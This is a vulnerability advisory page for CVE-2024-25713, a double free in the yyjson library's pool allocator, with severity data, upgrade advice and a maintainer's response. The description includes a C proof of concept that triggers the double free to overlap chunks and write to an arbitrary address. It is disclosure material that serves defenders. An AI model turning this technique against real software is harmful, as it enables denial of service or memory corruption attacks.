Skip to main content
VulnerabilityPublished Updated

CVE-2024-25713: github.com/ibireme/yyjson · yyjson has a Double Free vulnerability

Affects github.com/ibireme/yyjsonSource GCVE Database

0
Compare
Authoritative record:CVE-2024-25713· High 8.6

Not known to be exploited · CVSS 8.6 High : upgrade to 0.9.0 soon.

Data as of 4 Nov 2026, 17:16 UTC

CVSS 3.1 base score
8.6High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 0.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 11 Feb 2024

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 4 Nov 2026.

What to do

Upgrade github.com/ibireme/yyjson to 0.9.0.

Affected software

ProductAffectedFixed in
SwiftURLgithub.com/ibireme/yyjsonAffected
  • <0.9.0
Fixed in
  • 0.9.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks. Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution. ### Details The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities. ### PoC Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack. ``` #include <stdio.h> #include "yyjson.h" char test[0x110]; int64_t a=0xffffffff; int64_t b= (int64_t) test; int main() { size_t max_json_size = 64 * 1024; size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0); void *buf = malloc(buf_size); yyjson_alc alc; yyjson_alc_pool_init(&alc, buf, buf_size); yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc); yyjson_mut_arr(p2); yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc); yyjson_mut_doc_free(p2); yyjson_mut_doc_free(p2); // double free yyjson_mut_doc_free(p1); yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN; for(int i=0;i<0x100;i++)test[i]= 'a'; test[0x100]='\00'; char *payload_f = "[%lld,43981]"; char payload[100]; sprintf(payload,payload_f,&a); yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL); yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc); for(int z=1;z<=100;z++) yyjson_mut_int(p8,0x63636363); printf("%s",test); free(buf); return 0; } ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ ## Note from yyjson yyjson_mut_doc_free() is well-documented: https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093 ``` /** Release the JSON document and free the memory. After calling this function, the `doc` and all values from the `doc` are no longer available. This function will do nothing if the `doc` is NULL. */ void yyjson_mut_doc_free(yyjson_doc *doc); ``` If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid. Any further operation on the doc or its values is undefined behavior. While this is not a bug in yyjson itself, a defensive patch has been provided: [0eca326](https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e) If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation, this patch will cause your program to crash immediately, alerting you to the incorrect usage.

References

Community reviews

Loading reviews…